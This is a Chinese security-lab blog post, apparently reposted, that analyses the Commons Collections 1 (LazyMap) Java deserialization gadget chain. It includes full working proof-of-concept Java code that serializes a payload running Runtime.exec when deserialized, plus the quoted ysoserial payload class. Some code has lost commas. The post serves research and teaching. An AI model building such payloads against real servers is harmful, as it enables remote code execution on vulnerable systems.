Commons Collections 1 Gadget

admin 2022年4月3日19:57:26评论40 views字数 16882阅读56分16秒阅读模式


  • 前文回顾

  • LazyMap 利用链(其中之一)

    • LazyMap.get()

    • AnnotationInvocationHandler.invoke()

    • AnnotationInvocationHandler.readObject()

  • Yoserial 利用链构造分析

  • Ending......


Apache Commons 是 Apache软件基金会 的项目,曾隶属于 Jakarta 项目。Commons 的目的是提供可重用的、开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让使用者在开发应用程序的过程中,既保证了性能,同时也能大大简化了代码。

在上一篇文章《Commons Collections Gadget (TransformedMap)》中,我们对 Commons Collections 反序列化的 TransformedMap 这条利用链进行了分析,整个 Gadget Chain 的调用过程如下所示:

AnnotationInvocationHandler.readObject()
    AbstractInputCheckedMapDecorator.entrySet()
     AbstractInputCheckedMapDecorator$EntrySet.iterator()
      AbstractInputCheckedMapDecorator$EntrySetIterator.next()
       AbstractInputCheckedMapDecorator$MapEntry.setValue()
        TransformedMap.checkSetValue()
         ChainedTransformer.transform()
       ConstantTransformer.transform()
          InvokerTransformer.transform()
           Method.invoke()
           Class.getMethod()
       InvokerTransformer.transform()
        Method.invoke()
         Runtime.getRuntime()
       InvokerTransformer.transform()
        Method.invoke()
         Runtime.exec()

但是当我们查看 ysoserial 中的代码时,会发现有关 Commons Collections 的几条链子并没有 TransformedMap,而是改用了 LazyMap。因此,在接下来的几篇文章中,我们将借助 ysoserial 中的几条链子来分析 LazyMap 的利用路径。

前文回顾

在前文中,我们通过 InvokerTransformer、ConstantTransformer 以及 ChainedTransformer 类构造组合链,成国公编写出了一个可以执行命令的 Demo:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;

public class CCOriginal {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform("test");    // 最终还是需要调用 transform() 方法
    }
}

如下图所示,运行后,成功执行命令并弹出了计算器:

Commons Collections 1 Gadget

但是此时仍然需要手动执行 transform() 方法才能触发攻击。而在实际的反序列化漏洞中,我们要求攻击自动触发,这就需要我们找到一个地方,使其在反序列化过程中自动调用 transform() 方法,例如 readObject() 中。

因此,我们引出了 TransformedMap 和 LazyMap 这两条经典的利用链,并对 TransformedMap 利用链的利用路径进行了详细的分析。除此之外,LazyMap 类也可以为我们提供一条不错的攻击路径。

LazyMap 利用链(其中之一)

与前文中发现 TransformedMap 利用链的思路类似,我们在发现 LazyMap 这个可用的类时仍需按照以下思路展开:

  1. 找到一个 readObject() 方法或其重写方法,该方法会自动地、直接地或间接地调用一个 transform() 方法。
  2. 自动调用的 transform() 方法所属的实例对象可控。因为我们需要将其设为前面代码中的 transformerChain,也就是 ChainedTransformer 类的实例对象。

LazyMap.get()

TransformedMap.checkSetValue() 方法类似,LazyMap 类提供了一个 get() 方法,并且会在该方法内部掉哟过一个 transform() 方法:

Commons Collections 1 Gadget

可见,如果我们对 this.factory 可控,使其指向 ChainedTransformer 类的实例对象,那么就可以利用该方法执行 ChainedTransformer.transform() 方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链。

查看分析 LazyMap 类的构造方法,发现其有两个重载,其中一个重载允许传入 Transformer 类型地参数 factory,并且传入的 factory 参数的值将被赋给 this.factory

Commons Collections 1 Gadget

此外,与 TransformedMap 类的构造方法相同,LazyMap 的构造方法也是 protected 类型,并且该类中也公开了一个 decorate() 方法,因此我们可以通过 decorate() 方法获取 LazyMap 类的实例对象。

综上所述,this.factory 完全可控,我们可以通过将 this.factory 指向 ChainedTransformer 对象来执行 ChainedTransformer.transform() 方法。根据 LazyMap.decorate() 的语法格式,我们需要将其参数 factory 设为 ChainedTransformer 类的一个对象。此外,我们还需要一个 Map 类型的变量,当作 LazyMap.decorate() 的第一个参数。

大概的 Demo 代码如下所示:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("key""value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("test");

运行后将成功执行命令并弹出计算器,如下图所示:

Commons Collections 1 Gadget

那么现在问题来了,如何才能使 LazyMap.get() 方法自动调用呢?我们并没有在类似 readObject() 方法中找到直接调用 get() 方法的地方,不过我们依然在 AnnotationInvocationHandler 类中找到了一条不错的出路。

AnnotationInvocationHandler.invoke()

在 AnnotationInvocationHandler 类的 invoke() 方法中,我们发现了一处 get() 方法调用:

Commons Collections 1 Gadget

如果 this.memberValues 使可控的,我们可以让它指向 LazyMap 类的实例对象,也就是前面的 outerMap,那么我们就可以利用 AnnotationInvocationHandler.invoke() 方法执行 LazyMap.get() 方法了。在前一篇文章中我们已经分析过,this.memberValues 将在 AnnotationInvocationHandler 类被实例化时由其构造方法赋值:

Commons Collections 1 Gadget

因此 this.memberValues 是完全可控的。此外,AnnotationInvocationHandler 构造方法的第一个参数 var1 必须传入一个注释类,也就是 Annotation 类的子类,在 TransformedMap 链中我们传入的是 Retention.class。此外,还有几个其他的注释类可以代替 Retention,如下图所示:

Commons Collections 1 Gadget

因此,我们可以将上述的 Demo 修改为如下 POC:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
import java.lang.annotation.Retention;

public class CCOriginal {
    public static void main(String[] args) throws Throwable {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers); 
        Map innerMap = new HashMap();
        innerMap.put("key""value");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        // outerMap.get("test");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);
        AIHObject.invoke("test", CCOriginal.class.getMethod("testMethod"), new Object[]{});
    }
    // 定义一个参数为空的方法
    public static void testMethod() {};
}

运行上述 POC 后将成功执行命令并弹出计算器,如下图所示:

Commons Collections 1 Gadget

值得注意的是,我们在这个 POC 中定义一个参数为空的方法 testMethod(),并将反射该方法的结果传入了 AIHObject.invoke(),这是为了满足 AnnotationInvocationHandler.invoke() 方法的参数和内部逻辑的要求:

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class{
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    }
}

第一个参数 var2 必须为 java.lang.reflect.Method 类型,var3 为一个 Object 类型的数组。对于var3,我们可以直接用 new Object[]{} 占位即可,关键是这个 var2。由于第三行对 var2 调用了 getParameterTypes(),并要求其返回的数组的长度为 0,如果不为 0 则直接抛出错误 AssertionError("Too many parameters for an annotation method")。因此,我们需要定义了一个空类型的方法 testMethod(),并将反射该方法的结果传入了 var2 参数。

分析完 AnnotationInvocationHandler 的 invoke() 方法后,你或许有一些眼熟,这不就是 JDK 原生动态代理吗?想到这里,我查询了一些关于 AnnotationInvocationHandler 类的细节:

Commons Collections 1 Gadget

也就是说 AnnotationInvocationHandler 本质上就是一个 InvocationHandler,其继承了 InvocationHandler 类,而 AnnotationInvocationHandler.invoke() 方法只不过是 InvocationHandler.invoke() 方法的重写:

Commons Collections 1 Gadget

熟悉 Java 对象代理模式的师傅们肯定都知道,java.lang.reflect.InvocationHandler 为 JDK 原生动态代理中的调用处理器接口,该接口定义了一个 invoke() 方法,用于集中处理在代理类对象上的方法调用。当程序通过代理对象调用某一个方法时,该方法调用会被自动转发到 InvocationHandler.invoke() 方法来进行调用。

因此,我们能之前所有的 InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.class, outerMap); 操作都是为 outerMap 这个 LazyMap 对象创建了一个调用处理器。我们可以继续通过这个调用处理器来创建一个代理类对象。当尝试对代理类对象调用方法时,该方法调用会被自动转发到 AnnotationInvocationHandler.invoke() 方法来进行调用,这样就可以成功调用 invoke() 中的 get() 方法了。

那么我们可以构造处如下 Demo:

...
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("key""value");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// outerMap.get("test");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
confunc.setAccessible(true);
InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);
Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
// 需要调用一个参数为空的方法
proxyMap.xxx();

要想成功触发 AnnotationInvocationHandler.invoke() 方法,还需要对生成的代理类 proxyMap 执行一个无参数的方法。然而,我们并未在 LazMap 类中找到找到符合条件的方法。但由于 LazMap 继承了 Java 内置的 Map 标准接口类,因此我们可以去 Map 中寻找可用的方法。Map 接口中确实存在很多符合条件的方法,但是有一个名为 entrySet() 的方法格外引起我们的注意:

Commons Collections 1 Gadget

还记得在上一篇文章中分析 TransformedMap 利用链时曾接触过 AbstractInputCheckedMapDecorator.entrySet() 方法,是 TransformedMap 的父类,并且继承了 AbstractMapDecorator 类,而 AbstractMapDecorator 类实现了 Map 接口,因此 AbstractInputCheckedMapDecorator.entrySet() 方法是对 Map 中 entrySet() 方法的重写。

回到正题,为什么我们觉得这个 entrySet() 的方法特别呢?因为我们在一个 AnnotationInvocationHandler.readObject() 方法中发现了一处 entrySet() 的方法调用,这就意味着我们即将实现上一篇文章中所说的 “终极目标”。

AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler 类的 readObject() 方法中村咋一处 entrySet() 方法调用。没错,就是 var4 的赋值操作,如下图所示:

Commons Collections 1 Gadget

而我们在前面说了,this.memberValues 是完全可控的。那么我们可以让 this.memberValues 指向前面 Demo 中生成的代理类对象 proxyMap,当反序列化操作时,将自动对 proxyMap 调用 entrySet() 方法,该方法调用会被自动转发到 AnnotationInvocationHandler.invoke() 方法来进行调用,这样就实现自动调用 invoke() 中的 get() 方法了。自此,我们成功找到了一条完整的利用链,它将最终进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链,并执行系统命令。

最终的反序列化 POC 如下所示:

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
import java.lang.annotation.Retention;

public class CommonsCollections1 {
    public static void main(String[] args) throws Throwable {
        Transformer[] transformers = new Transformer[] {
            // 传入 java.lang.Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
            new InvokerTransformer(
                "getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}
            ),
            // 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}
            ),
            // 反射调用 exec() 方法
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]
{"calc.exe"}
            )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key""value");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        // outerMap.get("test");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor confunc = cls.getDeclaredConstructor(Class.classMap.class);
        confunc.setAccessible(true);
        InvocationHandler AIHObject = (InvocationHandler) confunc.newInstance(Retention.classouterMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(outerMap.getClass().getClassLoader(), outerMap.getClass().getInterfaces(), AIHObject);
        InvocationHandler AIHObjectFinal = (InvocationHandler) confunc.newInstance(Retention.classproxyMap);

        File f = new File(".\CommonsCollections1.bin");
        FileOutputStream fOut = new FileOutputStream(f);
        ObjectOutputStream out = new ObjectOutputStream(fOut);
        out.writeObject(AIHObjectFinal);
        out.close();
        fOut.close();
    }
}

执行 POC 后,将生成序列化数据,对其进行反序列化后虽然会报错,但是也成功执行命令并弹出了计算器,如下图所示:

Commons Collections 1 Gadget

到这里,LazyMap 这条利用链就已经分析完毕了,整个 Gadget Chain 的调用过程如下所示:

AnnotationInvocationHandler.readObject()
    Map$Proxy0.entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
     InvokerTransformer.transform()
      Method.invoke()
       Runtime.getRuntime()
     InvokerTransformer.transform()
      Method.invoke()
       Runtime.exec()

Yoserial 利用链构造分析

对于 Commons Collections 1 这条链子,ysoserial 给出的 POC 构造如下,其本质原理与我们所分析的并无不同,只不过使用了 ysoserial 内置的代理机制。

package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.getRuntime()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.exec()

 Requires:
  commons-collections
 */

@SuppressWarnings({"rawtypes""unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler{

 public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
   new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] 
{
     String.classClass[].class }, new Object[] {
     "getRuntime"new Class[0] }),
    new InvokerTransformer("invoke"new Class[] {
     Object.classObject[].class }, new Object[] {
     nullnew Object[0] }),
    new InvokerTransformer("exec",
     new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) }
;

  final Map innerMap = new HashMap();

  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

  return handler;
 }

 public static void main(final String[] args) throws Exception {
  PayloadRunner.run(CommonsCollections1.classargs);
 }

 public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

下面我们就来简单分析一下 ysoserial 生成 Commons Collections 1 反序列化 Payload 的流程。我们在第 71 行代码 Gadgets.createMemoitizedProxy 处下断点:

Commons Collections 1 Gadget

步入 Gadgets.createMemoitizedProxy() 方法,单凭名字也能猜出这个方法用来创建一个代理对象:

Commons Collections 1 Gadget

这里先是调用了 createMemoizedInvocationHandler() 方法,跟进该方法:

Commons Collections 1 Gadget

Reflections 作为 ysoserial 中 util 模块中的一个工具,其 Reflections.getFirstCtor() 方法用来实现 Class.forName(name).getDeclaredConstructors() 操作,获取指定类的构造方法。在这里就是获取了 AnnotationInvocationHandler 类的构造方法,然后由 newInstance() 获取实例对象。也就是说 createMemoizedInvocationHandler() 方法用于获取一个调用处理器 InvocationHandler 对象,也就是前面我们自己构造的 POC 中的 AIHObject

createMemoizedInvocationHandler() 方法返回后,又调用了 createProxy() 方法,跟进该方法:

Commons Collections 1 Gadget

其实单凭名字也可以猜出,`createProxy()` 方法用于获取一个代理类对象。也就是说经过 `Gadgets.createMemoitizedProxy(lazyMap, Map.class)` 的一系列调用,最终获取到了一个代理类对象,也就是前面我们自己构造的 POC 中的 `proxyMap`。

因此,ysoserial 所使用的代理机制只不过是对 JDK 原生代理模式的一个封装,二者本质并无不同。那么后续的流程我就不再费口舌了,如果你看懂了我们前半部分的分析,剩下的自然就明白了。

Ending......


原文始发于微信公众号(山警网络空间安全实验室):Commons Collections 1 Gadget

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月3日19:57:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Commons Collections 1 Gadgethttp://cn-sec.com/archives/866557.html

发表评论

匿名网友 填写信息